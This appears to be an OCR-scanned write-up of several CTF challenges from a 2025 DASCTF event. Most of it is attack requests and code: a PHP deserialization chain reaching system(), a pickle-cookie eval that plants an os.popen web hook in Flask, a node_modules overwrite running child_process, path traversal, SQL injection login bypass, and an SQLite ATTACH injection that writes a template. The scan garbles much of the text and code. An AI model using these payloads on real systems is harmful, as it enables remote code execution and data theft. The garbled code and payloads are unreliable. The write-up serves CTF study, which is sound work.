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ez_unserialize |solved

R=F5I1E
ARG ER
1 <2php
2
3 error_reporting(0);
4 highlight_file(__FILE__);
5
6 class A {
7 public $first;
8 public $step;
9 public $next;
10
11 public function start() {
12 echo $this->next;
13 }
14 }
15
16 class E {
17 private $you;
18 public $found;
19 private $secret = "admin123";
20
21 public function __get($name){
22 if($name === "secret") {
23 echo "<br>".$name." maybe is here!</br>";
24 $this->found->check() ;
25 1
26 }
27 }
28
29 class F {
30 public $fifth;
31 public $step;
32 public $finalstep; // u

w
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public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "{F4HAEAR! ";

}
else {
$this->step = new $this->finalstep();
($this->step) () ;
}
ks
}
class H {
public $who;
public $are;
public $you;
public function __construct() {
$this->you = "nobody";
}
public function __destruct() {
$this->who->start();
}
}
class N {
public S$congratulation;
public $yougotit;
public function __call(string $func_name, array S$args) {
return call_user_func($func_name,$args[0]);
}
ks
class U {

public $almost;
public $there;
public $cmd;

public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];

__invoke() {
return $this->there->system($this->cmd);

public function
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class V {
public $good;
public $keep;
public $dowhat;
public $go;

public function __toString() {
$Sabc = $this->dowhat;
$this->go->Sabc;
return "<br>Win!!!</br>";

}
h
Su = new U();
$f = new F();

$f->finalstep = 'u'; // BHA/NE 'u' %8 preg_match("/U/", ...)
$f->step = Su;

Se = new E();
$e->found = $f;

Sv = new V();
$v->dowhat = 'secret';
$v->go = $e;

$a = new A();

$a->next = $v;

$h = new H();

$Sh->who = $a;

echo urlencode(serialize($h));

//payload=0%3A1%3A%22H%22%3A3%3A%TBs%3A3%3A%22who%22%3B0%3A1%3A%22A%22%3A3%3A%T
Bs%3A5%3A%22 1 rst%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A4%3A%22next%22%3B0%3A1%
3A%22V%22%3A4%3A%TBs%3A4%3A%22200d%22%3BN%3BS%3A4%3A%22keep?22%3BN%3Bs%3A6%3A%2
2dowhat%22%3Bs%3A6%3A%22secret%22%3Bs%3A2%3A%22g0%22%3B0%3A1%3A%22E%22%3A3%3A%
Bs%3A6%3A%22%00E%00you%22%3BN%3Bs%3A5%3A%22 found%22%3B0%3A1%3A%22F%22%3A3%3A%7B
S%3A5%3A%22 1 Fth%22%3BN%3Bs%3A4%3A%22step%22%3B0%3A1%3A%22U%22%3A3%3A%TBs%3A6%3
%22a1most%22%3BN%3Bs%3A5%3A%22there%22%3B0%3A1%3A%22N%22%3A2%3A%TBS%3A14%3A%22
congratulation%22%3BN%3Bs%3A8%3A%22yougotit%22%3BN%3B%7Ds%3A3%3A%22cmd%22%3BN%
%7Ds%3A9%3A%22Finalstep%22%3Bs%3A1%3A%22u%22%3B%7Ds%3A9%3A%22%00EX00secret%22%
3Bs%3A8%3A%22admin123%22%3B%7D%7D%7TDs%3A3%3A%22are%22%3BN%3Bs%3A3%3A%22you%22%3
Bs%3A6%3A%22nobody%22%3B%7D&cmd=cat%20/flag
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Raw Hex

9
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12
13

ezBlog

POST / HTTR/1.1

Host: 45.40.247. 139:31331

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; 1rv:136.0)
Gecko/20100101 Firefox/136.0

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*,q=0.8
Accept-Language:

zh-CN, zh:q=0. 8, zh-TW;q=0. 7, zh-HE;q=0. 5. en-US:q=0. 3, en:q=0. 2
Accept-Encoding: gzip, deflate, br

Upgrade-Insecure-Requests: 1

Priority: u=0, i

Content-Type: application/x—www-form-urlencoded

Content-Length: 831

payload=

0%3A1%IAR22HE22%3A3%3 A% TBs%3A%IA%22who%22%3BORI AL RBAR22AR22%3A3%IA% TB%
ASEIAR22 1 irst%22%3BNEIB %3 AL 3A%2 251 eph2 2% 3 BN IB %3 A% AR2 2n ext % 22%3B0R3A
1%63A%22VE22% A% A% TBs R AR IA%22 good %2 253 BNR B %2 A4%3A%2 2 keeph 253 BN%2Bs%
3A6%3A%22dowhat %2 2%3Bs%3 A6%3A%2 2 secret B2 2RI B RIAZRIARI2 ok 2 2R ABORIATRIAR2
ZER22%3AEIALTB LI AGRIALZ2%00E 00y ouk2 2% 3IBNEI Bs%3A5%IA%22 found %2 2%3B0AIAL
AR IFR2 2% A RIAL TBsEIASRIAL2 211 T h%E22%3BNEI Bs%3A4%3A%2 251 eph22%3B0A3ALS
FARZ2UR2ZEIAIRIAL THsRIAG%IA%2 2 1 mos t %2 2%3BNRI BsSe 3 AS 3 A%2 2 ther %2 2%3B0R3IAL
FIARZZNR22%IA2%IAR TBsRIAL4%3A%2 2 congrat ul at i onk22%IBN%3Bs%IABRIARZ2yougot
1tE22%3BNEIBETDs %3 AT RIAL22e md H22 %I BNEIBE TD s %I ADRIAR22f inal st epk22%3Bs%IAL
%3A%22u%22%3BE D %I ADEI A2 2%00ER00s ec 1ot £22%3Bs%IABEIA%22admin 1 23%22%3R% T
IR TR TDs%3A3%3A%2 2are%2 2% BNRABs R AR A%22 vouk2 253 BRI A6%3AR2 2nobod vH22%3
B TDhemd=cat%20/flag

solved
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Bw

H0000BB ™ >$keep/ span><span style=

Hex  HmEiEs:

publie </span><span style="color:
color: #00TT007>;

public </span><{span style="color:
="color: #0077007>;

public </span><span style="color:
color: #00TT007>;

#0000BB” >$dowhat </span><span style

H#0D00BB " >§go/span><span style="

publie funetion </span><span style="color: #0000BB”>__ toString</span

s{span style="color: #007T007:() {

</span*<span style="color: #0000BB">3abc </span><span style="
color: #007TT007»= </span»<span style="color: #0000BB"»$this</span><span
style="color: #0OTTO0™»-&gt;</span><span style="color: #0000BB™>dowhat </
span><span style="color: 20077007 ;

</span>{span style="color: #0000BB">§this</span><span style="
color: #0077007>-&gt;</span><span style="color: #0000BB">go</span><span
style="color: #00TT00" &gt ;</span><span style="color: #0000BB">$abe </
span><span style="color: #0077007>;

return </span<span style="color: &DDOMO0">
“&1t;brdgt ;Win!!!1&1t; /bakgt; "</ span><span style="color: #007T007>;

}

</span><span style="color: 0000BB">unserialize{/span><span style="
color: #00TTO0™> (</span><span style="color: HODOOBB">§_POST</span><span
style="color: #0077007>[</span><span style="color: #DINDO0"> payload’ </
span»<span style="color: #007TT007>]);

<fapan><span style="color: S0000BB">2&kgt ; </ span></code>/pre><hrrsecret
maybe is here!</by’DASCTF {36664756T980660842T6011208814983 )
b Win! 1</ b

RTAEEIKF, JEliguest/guestEa RN, TokenEpickleFFILEIRE, AMSERIUES R IHERL

5L,

(ASEEZS

cbuiltins
eval

RIEEMRE], BT MlaskBIRES

(S'app.before_request_funcs.setdefault(None,
[1) .append(lambda:__import__(\'os\').popen(request.args.get(\'cmd\')).read())"'

4  tR.



Request Response
Pretty Raw Hex Markinfo Pretty Raw Hex Render

GET /?cmd=cat+/thisisthefffflllaaaggg.txt HTTP/1.1 HTTP/1.1 200 OK

Host: 45.40.247.139:32311 Server: Werkzeug/3.1.3 Python/3.11.13
Cache-Control: max—age=0 Date: Sat, 11 Oct 2025 05:04:25 GMT
Accept-Language: zh-CN,zh;q=0.9 Content-Type: text/html; charset=utf-8
Upgrade-Insecure-Requests: 1 Content-Length: 41

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) Connection: close

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, im
age/webp, image/apng, */*;q=0.8,application/signed-exchange; v=b3;q=0.
7

DASCTF{79454636776778663044811173750833}

CONOUIDS WN =

Referer: http://45.40.247.139:32311/login

Accept-Encoding: gzip, deflate, br

Cookie: Token=
636275696C74696e730a6576616c0a2853276170702€62656661726551726571756
573745f66756€63732e73657464656661756c74284e616e652c5b5d292e61707065
6e64286¢c616d6264613a5f5f696d706172745f5f285c2761735¢c27292e706170656
€28726571756573742e617267732e676574285¢c27636d645c2729292e7265616428
2929270a74522e; session=
eyJfZmxhc2hlcyI6W3siIHQi0lsibWVzc2FnZSIsI1x1INzY3Y IxINWYINVXx1INjIXxMFx
INTI5Z1x1ZmYwMSJIdfV19.a0ni8g. uixh7NqvC3GImXGs4z-w_yxnfGA

staticNodeService | solved

2041280c0660b8e662b3fd3fd493b
801.zip ©

11.30KB

ejSTEERAIMERBENER MR, 2FEArequireXNEER, FIASXHREBEBMSIEREindex
X, BEFR—1shell.ms

HEGIR

PUT /node_modules/ms/index HTTP/1.1

Host: 127.0.0.1:3000

sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"

sec-ch-ua-mobile: ?0

sec—-ch-ua-platform: "macOS"

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, T1like Gecko) Chrome/135.0.0.0 Safari/537.36

9  Accept:

o N o 0~ W N K

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/apng,*/*;9=0.8,application/signed-exchange;v=b3;q=0.7

10 Sec-Fetch-Site: same-origin



11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: http://127.0.0.1:3000/node_modules/raw-body/
15 Accept-Encoding: gzip, deflate, br
16 If-None-Match: W/"8ee-199dlafd4cb"
17 If-Modified-Since: Sat, 11 Oct 2025 05:13:05 GMT
18 Connection: keep-alive
19 Content-Type: application/json
20  Content-Length: 138
21
22 {"content":"Z2xvYmFsLnByb2N1c3MubWFpbklvZHVsZS5jb25zdHI1Y3Rvci5fbGOhZCgnY2hpbGR
fcHIvY2VzcycplmV4ZWNTeW5jKCcvemVhZGZsYWegPiByZXMudHhOJyk=""}
RIGIR
1 GET /?templ=shell.ms HTTP/1.1
2 Host: 127.0.0.1:3000
3 sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
4  sec—ch-ua-mobile: 20
5 sec-ch-ua-platform: '"macOS"
6  Accept-Language: zh-CN,zh;g=0.9
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/135.0.0.0 Safari/537.36
9  Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: http://127.0.0.1:3000/node_modules/ansi-styles/
15 Accept-Encoding: gzip, deflate, br
16 If-None-Match: W/"18cd-199d1afda82"
17 If-Modified-Since: Sat, 11 Oct 2025 05:13:06 GMT
18 Connection: keep-alive
19
20
ARG EEres.txt

Authweb | solved



105cdabdda852eafd573505fa386a
:l  045.zip ©

21.62MB

EGIR

GET /login/dynamic-template?value=../../../../../proc/self/environ%23 HTTP/1.1
Host: 127.0.0.1:60000

User-Agent: python-requests/2.32.5

Accept-Encoding: gzip, deflate, br

Accept: */*

Connection: keep-alive

Referer: http://127.0.0.1:60000/upload

O 00 N O U » W N B

Q .

Target: hitp://45.40.247. 8 P HTTRA

Inspector T — & X

Raw  Hex = y " X ! 3 Marklnfo = \n A t attrib

jopoedsul 3

login/dynamic-template?values=../../ /1.1 200
a tent-Type-Option

@, must

bin:/s in
NAME=endpoint-22eba3
SFLAG: C

2| 0highlights

Ezsignin | solved
/loginfztEsqUEN, FREXAdminA F connect.sid:

EIIR

1 POST /login HTTP/1.1
Host: 45.40.247.139:30096
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101
Firefox/136.0

4  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%x;9=0.8



5 Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Upgrade-Insecure-Requests: 1
9 If-None-Match: W/"30c-DHNVxa®VphnTYJIjy4EiUOx4CDM"
10 Priority: u=0, i
11 Content-Type: application/x-www—-form-urlencoded
12 Content-Length: 32
13
14  username=Admin")+--+g&password=1
/download FIEX f4iEX
ARIGIR
1
2  GET /download/?filename=../app.js HTTP/1.1
3 Host: 45.40.247.139:30096
4 Accept-Language: zh-CN,zh;q=0.9
5 Upgrade-Insecure-Requests: 1
6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36
(KHTML, T1like Gecko) Chrome/135.0.0.0 Safari/537.36
7 Accept:
text/html,application/xhtml+xml,application/xml;gq=0.9,image/avif,image/webp,ima
ge/apng,*/*;9=0.8,application/signed-exchange;v=b3;9=0.7
Referer: http://45.40.247.139:30096/
9  Accept-Encoding: gzip, deflate, br
10  Cookie:
connect.sid=s%3ArQORBzH5x3cMktwmh4bOVtgMfb4wWb1lLh.GO8Vr5WzTRGs3cu7MA5ssx%2FkcglH
CxCO0JeymIreM5nc
11  Connection: keep-alive
12
13
app.js:
T35
1 const express = require('express');
2 const session = require('express-session');
3 const sqlite3 = require('sqlite3').verbose();
4  const path = require('path');
5 const fs = require('fs');
6
7 const app = express();
8 const db = new sqlite3.Database('./db.sqlite');
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/*
FLAG in /fla4444444aaaaaagg. txt
x/

app.use(express.urlencoded ({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(session({

secret: 'welcometoycb2025',

resave: false,

saveUninitialized: true,

cookie: { secure: false }

1)

app.set('views', path.join(__dirname, 'views'));

app.set('view engine', 'ejs');

const checkPermission = (req, res, next) => {
if (req.path === '/login' || req.path === '/register') return next();
if (!req.session.user) return res.redirect('/login');
if (!req.session.user.isAdmin) return res.status(403).send(' TAFRIFIR");
next();

}s

app.use(checkPermission) ;

app.get('/'", (req, res) => {
fs.readdir(path.join(__dirname, 'documents'), (err, files) => {
if (err) {
console.error ("EENERILZEEIR: ', err);
return res.status(500).send (' BRIEEEN ") ;
}
req.session.files = files;
res.render ('files', { files, user: req.session.user });
1)
s

app.get('/login', (req, res) => {
res.render ('login');

1)
app.get('/register', (req, res) => {
res.render('register');

1)

app.get('/upload', (req, res) => {
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if (!req.session.user) return res.redirect('/login');
res.render ('upload', { user: req.session.user 1});
//todoing

1)

app.get('/logout', (req, res) => {
req.session.destroy(err => {
if (err) {
console.error ("IBHITAESEIR: ', err);
return res.status(500).send('IBHEK");
}
res.redirect('/login');
1)
s

app.post('/login', async (req, res) => {
const username = req.body.username;

const password req.body.password;
const sql = "SELECT * FROM users WHERE (username = "${username}'") AND
password = ("${password}") " ;
db.get(sql,async (err, user) => {
if (luser) {
return res.status(401).send('KSZEEHEE! ! "),
}
req.session.user = { id: user.id, username: user.username, -isAdmin:
user.is_admin };
res.redirect('/");
1)
1)

app.post('/register', (req, res) => {
const { username, password, confirmPassword } = req.body;

if (password !== confirmPassword) {
return res.status(400).send (' FRBMNNZREA—");

db.exec( INSERT INTO users (username, password) VALUES ('S${username}',
'S{password}') ", function(err) {
if (err) {
console.error ("MK ", err);
return res.status(500).send('FMEK, ARAZRGEEFE");
}
res.redirect('/login');

3



100 1});
101
102  app.get('/download', (req, res) => {

103 if (!req.session.user) return res.redirect('/login');

104 const filename = req.query.filename;

105 if (filename.startsWith('/')||filename.startsWith('./")) {
106 return res.status(400).send('WAF');

107 }

108 if

(filename.includes('../../")||filename.includes('.././")||filename.includes('f"'
)| | filename.includes('//')) {

109 return res.status(400).send('WAF');

110 }

111 if (!filename || path.isAbsolute(filename) ) {
112 return res.status(400).send(' TEXERZ");
113 }

114 const filePath = path.join(__dirname, 'documents', filename);
115 if (fs.existsSync(filePath)) {

116 res.download(filePath);

117 } else {

118 res.status(404).send (' XHHEREE");

119 }

120 1);

121

122

123

124 const PORT = 80;

125 app.listen(PORT, () => {

126 console.log( Server running on http://localhost:${PORT} );
127 1)

[register FETEHSE N, Bidpassword#HITEN:

(ASEEZS

1  test'); ATTACH DATABASE '/app/views/upload.ejs' AS temp; CREATE TABLE temp.pwn
(data, TEXT); INSERT INTO temp.pwn (data) VALUES ('<%=
include("/fla4444444aaaaaagg. txt") %>'); —— ('

B A\upload.ejsfaikinrl/upload:



R Ll
2%t Raw  Hex N \n = ZE(t, Raw Hex TEEHR \n =
1 GET /upload HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 45b.40.247.139:30096 2 X-Powered-By: Express
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) 3 Content-Type: text/html; charset=utf-8

Gecko/20100101 Firefox/136.0 4 Content-Length: 8202
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9,%*/*:q=0.8 5 ETag: W/”200a-7vrSU9+f41Z/wHlaslmqIFSFtbQ”
5 Accept-Language: 6 Date: Sun, 12 Oct 2025 01:08:49 GMT

zh—CN, zh;q=0. 8, zh-TVW;q=0. 7, zh-HK ; g=0. 5, en-US; q=0. 3, en;q=0. 2 7 Connection: keep-alive
6 Accept-Encoding: gzip, deflate, br 3 Keep-Alive: timeout=5
7 Origin: http://45.40.247.139:30096 9
3 Comnnection: keep-alive 10 SQLite format 3@ .r . EtablepwnpwnCREATE TABLE pwn (data TEXT) +
9 Referer: http://45.40.247.139:30096/10gin _DASCTF {04467904423787164843539286775120}
10 Upgrade-Insecure—Requests: 1 11
11 Cookie: connect.sid=

s%3AoygRq7hriJgYDSnyLmbhd3HoadKODQcWg. FAAZ%2BQ4hgPe0CQGWNkObvZ2ncsbASTfnya

Uh35TGTWS
12 Priority: u=0, i
13
14
@{é} & || > | Search L 0BE @{:9} & ||| | search ORI 1T=+=1
Mi

HRENTA lved
RINBANE R solve
N e = 4
0103TFEEI—HEmMKBTIR, XZEAdboe X HAI4FIE
\ T2 __/N\ =

Fpsal LEBES—1EE
« ¢ % psgaoding.com/#/ w O o

TELEDHE ~ —SHEAR ~ iR v AITA v BHINE v

100% ¥

@ vl Pagel
@ wim QuB
im B1

v o

/= Bitmap

55 72 BlRS W —#Hl0F1 1



Recipe ~om 7 Input + D3 W=

0100010001000001010100110100001101010100010001100111101101110111001100000110110101000101010011100101111101100010

a ~ ]
Y © 01100101011010000011000101101110010001600101111101001101010001010110111001111101,

Delimiter Byte Lenqth
Space 8

mec 192 = 1 Tr Raw Bytes ¢ LF

Output RO @E:

DASCTF{wemEN_beh1nD_MEn}

RIS, fRIRIRHLERT B3 | solved

F—xEB:

AR

1 HH#HH HHHHH Hit# # # HUHHH HHEHHS HHEHHH #HHHHH Hit# # #
HHu#HH

2 # # # # # # # # # # # # # # #
# #

3 # # Hu### # # # # # # # Hu### # #
# #

4 # # # # # # # # # # # # # # #
# #

5 HUHHH  HHAHE # # o OHHAHE  HAHSH  HHEHE HEHAH HAHAH HAHAH # # HHHHA
HHHHH  HHAHE

E—>%payload:

HADIR
1 a:"#"*S;b:" H## ";C:"# ";d:" ";e:" ";f=(c+d)*2;g="\n";h=" # ";ﬁ:"#
H# . J =" 4
’

"sk=at+d+at+d+b+d+f+a; l=c+d+h+d+i+d+f+i;m=1+j+1+g;n=c+d+h+d+a+d+f+i;o0=a+d+a+d+i+d
+atd+atd+a;p=ktetatetk+g+m+n+j+n+g+m+to+te+tate+o;hilogo=p[:52]+p[53:140]+p[141:22
8]+p[229:316]+p[317:404]+p[405:]



e SIS K

BRE code LUHIHIATOX114514 M N F AR, KE/NF3TFHA:

HHIR

1 def get_ordinal(n):

2 if 10 <= n % 100 <= 20:

3 suffix = 'th'

4 else:

5 suffix = ['st', 'nd', 'rd', 'th', 'th', 'th', 'th', 'th',

'th', 'th'][n % 10 - 1]

6 return suffix

-

8 test_passed = True

9 user_function = eval(f"lambda n: {code}", {3}, {})
10

11  for i 1in range(l, 0x114514):

12 if user_function(i) != get_ordinal(i):

13 test_passed = False

88— % payload:

https://codegolf.stackexchange.com/questions/4707/outputting-ordinal-numbers-1st-2nd-3rd?
newreg=373b6ab34bc64abb963356d17022d4da

(AGEEZS

1 'tsnrhtdd' [n%5x (n%100A15>4>n%10) : :4]


https://codegolf.stackexchange.com/questions/4707/outputting-ordinal-numbers-1st-2nd-3rd?newreg=373b6ab34bc64abb963356d17022d4da

O QFZE http;//45.40.247.139:26811

@sf O

B
bt
«

“th’, “th'][n % 10 - 1]

ordinal (i) :

PhiRsERE! &

BRI Python (UIBHEEI T 75 :

'tsnrhtdd' [n$5* (n%$100715>4>n%10) : : 4]

Bt AKX | solved
MEERIER—MEFTZEEE

Recipe ~om ¥
Find / Replace ~ QN
Find Reol

\r\n REGEX ~ eplace

Global match D Case insensitive

Multiline matching |:| Dot matches all

From Hex OV ||
Delimiter
Auto
Reverse A O n
Bv
Byte
STEP z BAKE! Autake
RERImRSEN—KE R

o
+d
E&%

&

N

Input + O E i =
4f00758d69106ee2a6261b9ef4a5971bbb75F8cb6fd88dd5917e7e5217e41214d31ce58
58elf7dceebeed3d77ed7824d6a58eedef27a6d91cadc382c3ebabdf529622ccac2belda
75f0aa312c14968fbbbf17c3al2e2a8d1f5157Ff274ac589914ea8dbl194dacc6338dd5193
Bce330e8e0812b9077965926486674b29411
4beec@dlb6e54979142c15706dcc3e6d4d54bbd79112c@307F2c2c2d2660209d82¢11292
Bfe97e314c89068427a5411Baae9e5b83ddf9f79328e878Ff92991d15c3341687d1d53ad38916aebldabBa8766
530defee63e59410bf39edf463dfbbb7fa5¢ce6623e672al8ect349bbIfeb5b2@9¢775918
6bc5f5398825b5679de3bbdasd97db995a8316b4ad656f832d4a8e5des56a9c88ddefelat
6b2a2e23f4f83cc1c89987e8ff8dbebdbe78d5434b833¢c8973F22385429a44b9e918057
deac@bd4ce575237338592¢046386d033f60e94fc38Ff2657d91abeddd7@82aec826754b%el6fdobob3c82bddadd
d9d87feed667a4f03d7bOceB8l1bee37d69b21f5a2abc3ab2@3ca9352b1c2328c877cBcBcf121889ab17b9b8679
96ad6284fB7326eeedbb2fb7222515c7481902b7e8fcbf7cldb8a558aad1754a30cdc 88
4f73c2414745b499%ebeBad5b183c605063Fc6d5@fc59F72eabB8fab5T@c6e@b@42f7eb34d
5dcf8llebf@llbasfd1684c85d18ee5afa2@ff21502c88FF848d0668cac31e70a3folbsh
82ee3b1ed99d83211219d1743fel10049e@b8e5ecc28918733097c85c8195cb83d@7317d4
@bbbodf6lcedfa@d8088b74ccad31f923f37ab53ba7182bef512fac381606055091044399Fef4544cc690182¢7

98e11700ed4ba7f2 2 453d320e9f
nac 36862

= 208 Tr Raw Bytes &= CRLF (detected)

B0 ®::

+ Al B%eqeSaT?e usOEL - w e

Output -

724" s muerxI = so 2=Exvnvenosenveno Sxvenuenuinnoooind o Kisoered o Cosoni IDET #9000 20U~
BarsGenviOcrusDeEee \EoBScne ALS ATnuid ?tNioc: ! oo Uss jie [escBEP s AEhack
a§ie,P1Y (GZTcas]Beorsonyl “escsong as # T IM¥nfeorvinier _} oo, 2¥UPMUCP™ <oie[ v8s "EGAASD-TTOIURAXY | oo | U8~ sruem @Cun
%"+ /K11&SBeorbeeyeo{toe ice e | o 2BER e Erre? 1 X¥Z us 21 }8%0c18 e {=BHGF L o PUVOK o < vr ksvus KUBE® e pMic e Jod8iie so
63D % Ceor, Y85HUALack-NWe » s KH) TS, 2w 0 <o KCOpYm¥a i@ e o EA<pOHt . ¥k " 30V e e ja] e T-w sl “sineZeUe JU95 0 g% e 90AKoYe
[BenI6icm*g>ba\b - »BCOIFéoerdcil
Sfeirccs8je8eScs FhAI\Neble e so2yeR= AE2BAY ek L1~é st eocohes ~&-, , #BhocaexnTMm> Impuar, ocay TAYRNALKoc: »
2LF@RY oW +2 3805 v #QVECIUe£0Bocia Xt OWQus o* . jAeregmowncs, 128Ul +rr I oRR | 8AeBie s [} ' D5 e ¥0ExIWw=20
UzaXXI1M! fidersRn o0 PoEGUDEsce ¥Oo rscl | Enoied s unnOBLUN= (: g+ " I0%eCsuni-ew o oncapcss@escosrss 1d8B 1K ki'vi}
"lpsifeaHpae fyios btje#Ah &3 AWe crns (ouns SAB " i0ern@oNE | LoDonmtis@akAs o5 KIn| IAd rs #srxgkSae IPoEs cn
©* yr01irUoc:de0DR "€ en Qerx " o@5 2 LAGOS cspeva®n”™ pS? s1 Ig{escdy e I0+@PAUVI¢2@e 0 1 % OL10AA | -w EDeBA" - jack]
rr §UMeUD e \FO[I22L "tUsNeXyvrpx9 ] JMEG2DUC s0 ErscD®N o Wsusbena™ cannack < U 3V100 7Yy s vr9as#ego=lAzencxlisio o vt
UFKZ%! <61, +3s08>I00csJ933A6/ Ve RA(iBGocr; ,OAx U s o o Zinkonc1ern¥8BE<; 17 rs Ao #5/1629% 8w * JUK&owe v ENEUGTAYS
k3" /9 s oueU s Knukfio o >ole s Q=ocipy e s ¢ us srx1E>0£0 e skocrwe 2 axsrtEderahtBes 0, o 21U cori_0JeorvcismxROxx2) 250
thlecs
BY%.+/33035/8¥t=0""m;j3 | (02 +&Z+&jFNBErorgdYe jociVH e Evane xSVER " ]ackC3005. o d3y3/ 24" "o s1UT# r5s VGPMA ; §{BescCéeh

o e Aerrass e

mc 17793 = 77 Tr Raw Bytes & CR (detected)




(ASEEZS

O 00 N oo b~ W NP

[
O]

12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

37
38
39
40
41
42
43

//gcc -o
#include
#include
#include
#include
#include
#include

decryptor decryptor.c -lssl -lcrypto
<stdio.h>

<stdlib.h>

<string.h>

<openssl/aes.h>

<openssl/rand.h>

<openssl/evp.h>

#define HEADER_SIZE 128 // X{14#3LEFA/)

void dec

rypt_file(const char *input_file, const char *output_file, unsigned

char xkey) {

FILE
if

unsi

*in = fopen(input_file, "rb");
in) {
perror("Unable to open -input file");

return;

gned char header[HEADER_SIZE];

fread(header, 1, HEADER_SIZE, 1in);

unsi

gned char iv[AES_BLOCK_SIZE];

fread(iv, 1, AES_BLOCK_SIZE, 1in);

fsee
long
fsee

unsi

k(in, ©, SEEK_END);

encrypted_size = ftell(in) - HEADER_SIZE - AES_BLOCK_SIZE;

k(in, HEADER_SIZE + AES_BLOCK_SIZE, SEEK_SET);
gned char xencrypted_data = malloc(encrypted_size);

fread(encrypted_data, 1, encrypted_size, in);

fclo

AES_
AES_

unsi
AES_
&decrypt

FILE
if (

se(in);

KEY decrypt_key;
set_decrypt_key(key, 256, &decrypt_key);

gned char xdecrypted_data = malloc(encrypted_size);

cbc_encrypt(encrypted_data, decrypted_data, encrypted_size,

_key, 1v, AES_DECRYPT);

xout = fopen(output_file, "wb'");
lout) {

perror("Unable to open output file");
free(encrypted_data);
free(decrypted_data);

return;



44 1

45
46 fwrite(header, 1, HEADER_SIZE, out);
47 fwrite(decrypted_data, 1, encrypted_size, out);
48
49 fclose(out);
50 free(encrypted_data);
51 free(decrypted_data);
52}
53
54  [dnt main() {
55 unsigned char key[32] = {
56 EXU, O, I, EXY, UXE, U)o
57 OO SR (IR SO TS COL SO O
58 S CU TS GO T SIS S U
59 X', 'X', 'X', 'X', 'X', 'X', 'X', 'X'
60 s
61 // ¢ £ 16 key
62 decrypt_file(" KEY .lock", "™ KEY .re", key);
63 system("chmod +x  KEY .re");
64 return 0;
65 1}
66
67
68
hide.jpg ®
16.85KB
RISIR
1 $ stegstegseek hide.jpg rockyou.txt
2 StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
3
4 [i] Found passphrase: ""
5 [i] Original filename: "key.txt".
6 [i] Extracting to "hide.jpg.out".

PZNCKSLLLNWUMILYTNQSXCIDUNBHBDFV

HADIR

1 from Crypto.Cipher import AES
2  dmport sys
3  dimport os



© 0o N o »u »

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

# BHIE

HEADER_SIZE = 128

KEY_STRING = "PZNCKSLLLNWUMILYTNQSXCIDUNBHBDFV"
KEY = KEY_STRING.encode('utf-8') # #Z4 bytes
BLOCK_SIZE = AES.block_size # 16

def decrypt_file(input_file, output_file):

with open(input_file, 'rb') as f:

# 1. BREIXEL (128 FT3)
header = f.read(HEADER_SIZE)
if len(header) != HEADER_SIZE:
raise ValueError ("Input file too short: missing header'")

# 2. EEX IV (16 F7F)
iv = f.read(BLOCK_SIZE)
if len(div) != BLOCK_SIZE:
raise ValueError ("Cannot read IV (missing or corrupted)")

# 3. BEENFIRBIINIE LA
encrypted_data = f.read()
if len(encrypted_data) ==
raise ValueError("No encrypted data found")

if len(encrypted_data) % BLOCK_SIZE != 0:
print(f"Warning: Encrypted data length ({len(encrypted_data)}) is

not a multiple of {BLOCK_SIZE}.")

# 4.

print("This may indicate corruption or missing padding.")

Bl AES FFZZ8 (CBC #Ezl)

cipher = AES.new(KEY, AES.MODE_CBC, {v)

# 5.
try:

R

decrypted_data = cipher.decrypt(encrypted_data)

# Bk BBr PKCS#7 17 (WIRNZEET)

# padding_len = decrypted_data[-1]

# 1f padding_len < 16:

# decrypted_data = decrypted_data[:-padding_len]

except Exception as e:

raise RuntimeError (f'"Decryption failed: {el}")

# 6. GHER: £5 header, BEHEEHIE
with open(output_file, 'wb') as f:

f.write(header)

f.write(decrypted_data)



50 print (f"[Yd Decrypted file saved to: {output_file}")

51

52 # SuAIIATAITR (Linux/mac0S)

53 try:

54 os.chmod (output_file, 00755)

55 print(f"[[] Set executable permission for: {output_filel}")
56 except Exception as e:

57 print(f"A, Could not set executable permission: {e}")
58

59 # ================

60 # FiEF

61 # ================

62

63 if __name__ == "_main__":

64 input_file = "key.lock" # 5 C BEF—2 CEE: AIRESELEL)
65 output_file = "key.re"

66

67 # MBHAXMELFE

68 if not os.path.exists(input_file):

